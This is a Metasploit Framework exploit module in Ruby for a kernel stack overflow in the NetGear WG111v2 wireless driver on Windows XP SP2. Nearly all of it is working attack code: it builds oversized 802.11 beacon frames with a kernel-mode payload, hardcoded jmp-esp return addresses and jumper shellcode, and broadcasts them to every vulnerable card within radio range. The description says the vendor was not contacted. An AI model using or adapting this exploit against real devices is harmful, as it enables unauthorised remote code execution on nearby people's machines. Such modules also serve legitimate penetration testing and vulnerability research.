metasploit-framework/modules/exploits/windows/driver/netgear_wg111_beacon.rb

212 lines
6.0 KiB
Ruby
Raw Normal View History

require 'msf/core'
module Msf
class Exploits::Windows::Driver::Netgear_WiFi_Beacon < Msf::Exploit::Remote
include Exploit::Lorcon
include Exploit::KernelMode
def initialize(info = {})
super(update_info(info,
'Name' => 'NetGear WG111v2 Wireless Driver Long Beacon Overflow',
'Description' => %q{
This module exploits a stack overflow in the NetGear WG111v2 wireless
device driver. This stack overflow allows remote code execution in kernel mode.
The stack overflow is triggered when a 802.11 Beacon frame is received that
contains more than 1100 bytes worth of information elements.
This exploit was tested with version 5.1213.6.316 of the WG111v2.SYS driver and
a NetGear WG111v2 USB adapter. Since this vulnerability is exploited via beacon frames,
all cards within range of the attack will be affected. The tested adapter used
a MAC address in the range of 00:18:4d:02:XX:XX.
Vulnerable clients will need to have their card in a non-associated state
for this exploit to work. The easiest way to reproduce this bug is by starting
the exploit and then unplugging and reinserting the USB card. The exploit can
take up to a minute to execute the payload, depending on system activity.
NetGear was NOT contacted about this flaw. A search of the SecurityFocus
database indicates that NetGear has not provided an official patch or
solution for any of the thirty flaws listed at the time of writing. This list
includes BIDs: 1010, 3876, 4024, 4111, 5036, 5667, 5830, 5943, 5940, 6807, 7267, 7270,
7371, 7367, 9194, 10404, 10459, 10585, 10935, 11580, 11634, 12447, 15816, 16837,
16835, 19468, and 19973.
This module depends on the Lorcon library and only works on the Linux platform
with a supported wireless card. Please see the Ruby Lorcon documentation
(external/ruby-lorcon/README) for more information.
},
'Authors' =>
[
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 3583 $',
'References' =>
[
['URL', 'http://projects.info-pull.com/mokb/MOKB-16-11-2006.html'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
# Its a beautiful day in the neighborhood...
'Space' => 1000,
},
'Platform' => 'win',
'Targets' =>
[
# Windows XP SP2 with the latest updates
# 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
[ 'Windows XP SP2 (5.1.2600.2122), WG111v2.SYS 5.1213.6.316',
{
'Ret' => 0x80502d7f, # jmp esp
'Platform' => 'win',
'Payload' =>
{
'ExtendedOptions' =>
{
'Stager' => 'sud_syscall_hook',
'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
'Recovery' => 'idlethread_restart',
'KiIdleLoopAddress' => 0x804dbb27,
}
}
}
],
# Windows XP SP2 install media, no patches
# 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
[ 'Windows XP SP2 (5.1.2600.2180), WG111v2.SYS 5.1213.6.316',
{
'Ret' => 0x804ed5cb, # jmp esp
'Platform' => 'win',
'Payload' =>
{
'ExtendedOptions' =>
{
'Stager' => 'sud_syscall_hook',
'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
'Recovery' => 'idlethread_restart',
'KiIdleLoopAddress' => 0x804dc0c7,
}
}
}
]
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('ADDR_DST', [ true, "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60])
], self.class)
end
def exploit
open_wifi
stime = Time.now.to_i
rtime = datastore['RUNTIME'].to_i
count = 0
print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...")
while (stime + rtime > Time.now.to_i)
wifi.write(create_beacon)
select(nil, nil, nil, 0.10) if (count % 100 == 0)
count += 1
# Exit if we get a session
break if session_created?
end
print_status("Completed sending beacons.")
end
# Convert arbitrary data into a series of information elements
def ie_padding(data)
ret = 0
idx = 0
len = 0
while(idx < data.length)
len = data[idx+1]
if (! len)
data << "\x00"
len = 0
end
idx += len + 2
end
data << yield(idx - data.length)
end
def create_beacon
ssid = Rex::Text.rand_text_alphanumeric(16)
bssid = ("\x00" * 2) + Rex::Text.rand_text(4)
src = ("\x00" * 2) + Rex::Text.rand_text(4)
seq = [rand(255)].pack('n')
stamp = Rex::Text.rand_text(8)
frame =
"\x80" + # type/subtype
"\x00" + # flags
"\x00\x00" + # duration
eton(datastore['ADDR_DST']) + # dst
src + # src
bssid + # bssid
seq + # seq
stamp + # timestamp value
"\x64\x00" + # beacon interval
Rex::Text.rand_text(2) + # capability flags
# ssid tag
"\x00" + ssid.length.chr + ssid +
# supported rates
"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
# current channel
"\x03" + "\x01" + channel.chr
# Bounce through EDI to the uncorrupted payload
jumper =
"\x6a\x39" + # push byte +0x39
"\x58" + # pop eax
"\x01\xc7" + # add edi, eax
"\xff\xe7" # jmp edi
# Overwrite enough to pop the return
buf = Rex::Text.rand_text(1160)
# Kernel-mode stager fun goes here
buf[0, payload.encoded.length] = payload.encoded
# Return address is a jmp ESP
buf[1101, 4] = [ target.ret ].pack('V')
# Jump back to EDI + 0x39
buf[1113, jumper.length] = jumper
# Pad it out to be a valid set of IEs
frame << ie_padding(buf) {|c| Rex::Text.rand_text(c) }
return frame
end
end
end